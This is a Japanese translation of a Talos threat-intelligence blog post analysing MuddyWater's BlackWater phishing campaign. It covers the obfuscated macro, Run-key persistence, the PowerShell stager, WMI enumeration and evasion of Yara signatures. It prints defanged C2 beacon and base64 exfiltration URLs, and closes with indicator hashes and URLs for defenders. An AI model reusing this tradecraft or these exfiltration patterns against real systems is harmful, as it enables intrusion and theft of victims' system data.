Categories: 脅威リサーチ

MuddyWater 関連の最近の BlackWater キャンペーンから見える新しい検出回避テクニック

エグゼクティブ サマリー

Cisco Talos は一定の確信を持って、最近発見した「BlackWater」と呼ばれるキャンペーンが、永続的な攻撃を仕掛ける疑いのあるグループ MuddyWater と関連していると判断しています。2019 年 4 月に新たに登場した関連サンプルは、攻撃のアクティビティに 3 つのステップが加えられたことを示しています。これらは、特定のセキュリティ制御を回避するためのステップで、MuddyWater の戦略、手法、手順(TTP)が検出回避に向けて進化したことを示唆しています。これが成功すると、キャンペーンによって PowerShell ベースのバックドアが被害マシンにインストールされ、攻撃者はリモート アクセス権を獲得します。このアクティビティから、MuddyWater が戦略上のセキュリティを高めてエンドポイントでの検出を回避するための策を講じたことがわかりますが、基本のコードは変更されていません。本ブログ投稿で概説する調査結果は、脅威ハンティング チームが MuddyWater の最近の TTP を特定するために役立てていただけます。

最新のここアクティビティで、MuddyWater はまず難読化された VBA スクリプトを追加し、レジストリ キーとして永続性を確立しました。そのスクリプトは次に PowerShell ステージャをトリガーします。これは高度な攻撃というよりはむしろレッドチーミング用ツールになりすますことが狙いを考えられます。その後、ステージャは GitHub 上のオープンソース フレームワークである FruityC2をご覧ください。 のエージェント スクリプトのコンポーネントを取得するために、攻撃者が制御する 1 つのサーバと通信し、ホストマシンを列挙します。このようにして攻撃者は Web のログを監視し、アクティビティの調査目的でキャンペーン関係者以外の誰かが彼らのサーバにアクセスしてきたときに特定できます。列挙コマンドが実行されると、エージェントは別の C2 と通信して URL フィールドからデータを返送します。これにより、簡単に確認できる「errors.txt」ファイルが生成されなくなるため、ホストベースの検出がより困難になります。また、MuddyWater は最近のサンプルで変数の文字列を一部置き換えるステップを追加しています。これは、Yara ルールからシグニチャベースの検出を回避することが狙いと見られます。

このアクティビティは、数か月前に確認された関連サンプルと比べて高度化しています。2019 年の 2 月から 3 月にかけて、MuddyWater 関連のサンプルから攻撃者が侵害を受けたホストで永続性を確立したこと、PowerShell コマンドを使って被害マシンを列挙したこと、そして、攻撃者の C2 サーバの IP アドレスを封鎖したことがわかりました。これらのコンポーネントはすべてトロイの木馬が仕込まれた添付ファイルに含まれていたため、セキュリティ研究者は単にドキュメントのコピーを取得するだけでは攻撃者の TTP を発見することができませんでした。対照的に、4 月のアクティビティは複数ステップの調査方法が必要になりました。

BlackWater ドキュメント

Talos は、MuddyWater(永続的な攻撃を仕掛ける疑いのある攻撃グループ)と関連していると一定の確信を持って判断したドキュメントを明らかにしました。MuddyWater は少なくとも 2017 年 11 月から活動しており、主に中東の組織を標的にしていることで知られていますをご覧ください。。Talos は、これらのドキュメントがフィッシング メールを介して被害者に送信されたと判断しています。このようなトロイの木馬が仕込まれた 1 つのドキュメントが、2019 年 4 月 23 日に作成されました。元のドキュメント名は「company information list.doc」です。

このドキュメントを開くと、「BlackWater.bas」という名前のマクロを有効にするかどうかを確認するプロンプトが表示されます。パスワード保護されたこのマクロは、ユーザが Visual Basic で表示しようとしてもアクセスできなくなっています。これはおそらくリバース エンジニアリングを回避するためのテクニックです。「BlackWater.bas」マクロは、文字を整数で置き換える換字式暗号で難読化されています。

マクロの画像

マクロには「Run」レジストリ キー(「KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding」)に存続させる PowerShell スクリプトが含まれています。その後、スクリプトは 300 秒ごとに「\ProgramData\SysTextEnc.ini」というファイルを呼び出します。SysTextEnc.ini のクリア テキスト バージョンは軽量ステージャのように見えます。

ドキュメントで見つかったステージャのスクリーン ショット

 

その後、ステージャは攻撃者が制御する C2 サーバ(hxxp://38[.]132[.]99[.]167/crf.txt)に接続します。crf.txt ファイルのクリア テキスト バージョンは MuddyWater が以前 クルド人の政治グループをご覧ください。とトルコ国内の組織を標的に攻撃を仕掛けた時に使用された PowerShell エージェントとよく似ています。次のスクリーンショットは、PowerShell で書かれたトロイの木馬の最初の数行を示しています。攻撃者は、Yara 検出を回避するために変数名を変えたり、コマンドの結果をファイルに書き込む代わりに URL で C2 サーバに送信したりするなど、いくつかの小さな変更を加えています。ただし、これらの変更が加えられた後も、機能はほとんど変わりません。注目すべきことに、ホストを列挙するために使われた多くの PowerShell コマンドが、FruityC2 と呼ばれる GitHub で管理されるプロジェクトから派生しているようです。

クルド人自治政府職員への攻撃で使用されたドキュメントに埋め込まれた PowerShell スクリプトの画像

 

攻撃者が制御するサーバの PowerShell スクリプトの画像

 

この一連のコマンドは最初に「server hello」メッセージを C2 サーバに送信し、その後 300 秒ごとに「hello」メッセージを続けて送信します。このビーコンの例は「hxxp://82[.]102[.]8[.]101:80/bcerrxy.php?rCecms=BlackWater」です。注目すべきは、トロイの木馬が仕込まれたドキュメントのマクロはもまた「BlackWater」と呼ばれており、「BlackWater」という値が PowerShell スクリプトにハードコーディングされている点です。

次に、スクリプトは被害者のマシンを列挙します。PowerShell コマンドの多くは Windows Management Instrumentation(WMI)を呼び出し、次の情報を問い合わせます。

  • オペレーティング システムの名前(またはマシン名)
  • オペレーティング システムの OS アーキテクチャ
  • オペレーティング システムのキャプション
  • コンピュータ システムのドメイン
  • コンピュータ システムのユーザ名
  • コンピュータのパブリック IP アドレス

WMI を呼び出さなかった唯一のコマンドは「System.Security.Cryptography.MD5CryptoServiceProvider.ComputerHash」、またはセキュリティ システムの MD5 ハッシュを取得するコマンドです。MD5 hash は、同一ネットワーク内の複数のワークステーションが侵害を受けた場合に備えて、個々のワークステーションを特定するために取得します。取得したホストベースの列挙情報は base64 でエンコードされてから C2 サーバへの POST 要求の URL に付加されます。以前のバージョンでは、この情報はテキスト ファイルに書き込まれていました。エンコードされたコマンドのコピーを次に示します。

hxxp://82[.]102[.]8[.]101/bcerrxy.php?
riHl=RkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYqMTk5NypFUDEq0D0u
TWljcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwqMzItYml0KlVTRVItUEMqV09SS0dST1VQ0D0uKlVTR
VItUENcYWRtaW4qMTkyLjE2OC4wMDAuMDE=

デコードされると上記のコマンドが読めるようになります。

hxxp://82[.]102[.]8[.]101/bcerrxy.php?riHi=FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-
FF-FF*1997*EP1*D=.Microsoft Windows 7 Professional*32-bit*USER-PC*WORKGROUPD=.*USER-
PC\admin*192.168.000.01

まとめ

新しい検出回避ステップが追加されたことに加えて、MuddyWater は一般的なホストベースのシグネチャを回避するために小さな変更を行い、Yara シグネチャを回避するために変数名を書き換えました。これらの変更は表面的であり、基礎となるコード ベースと埋め込まれた機能はほとんど変わりません。ただし、こうした変更が極めて小さいものであったにもかかわらず、いくつかの検出メカニズムを回避するのには十分な意味がありました。先月 MuddyWater のキャンペーンの活動が報告されたにもかかわらず、同グループはひるまず活動を続けています。ここに述べた所見と、トルコを拠点とする組織の MuddyWater の攻撃履歴から、Talos は一定の革新を持って、このキャンペーンが攻撃グループ MuddyWater に関連していると判断します。

侵害の兆候

ハッシュ

0f3cabc7f1e69d4a09856cc0135f7945850c1eb6aeecd010f788b3b8b4d91cad
9d998502c3999c4715c880882efa409c39dd6f7e4d8725c2763a30fbb55414b7
0d3e0c26f7f53dff444a37758b414720286f92da55e33ca0e69edc3c7f040ce2
A3bb6b3872dd7f0812231a480881d4d818d2dea7d2c8baed858b20cb318da981
6f882cc0cddd03bc123c8544c4b1c8b9267f4143936964a128aa63762e582aad
Bef9051bb6e85d94c4cfc4e03359b31584be027e87758483e3b1e65d389483e6
B2600ac9b83e5bb5f3d128dbb337ab1efcdc6ce404adb6678b062e95dbf10c93
4dd641df0f47cb7655032113343d53c0e7180d42e3549d08eb7cb83296b22f60
576d1d98d8669df624219d28abcbb2be0080272fa57bf7a637e2a9a669e37acf
062a8728e7fcf2ff453efc56da60631c738d9cd6853d8701818f18a4e77f8717

URL

hxxp://38[.]132[.]99[.]167/crf.txt
hxxp://82[.]102[.]8[.]101:80/bcerrxy.php?rCecms=BlackWater
hxxp://82[.]102[.]8[.]101/bcerrxy.php?
hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/helloServer.php
hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/getCommand.php
hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/
hxxp://136[.]243[.]87[.]112:3000/KLs6yUG5Df
hxxp://136[.]243[.]87[.]112:3000/ll5JH6f4Bh
hxxp://136[.]243[.]87[.]112:3000/Y3zP6ns7kG

カバレッジ

Doc.Dropper.Pwshell::malicious.tht.talos

 

本稿は 2019年5月20日に Talos Group のブログに投稿された「Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques」の抄訳です。

TALOS Japan

Talos は、ネットワーク脅威の専門家集団です。Talos が提供する脅威インテリジェンスの情報は、既知および未知の脅威からお客様のネットワークを保護するためにシスコのセキュリティ製品によって活用されています。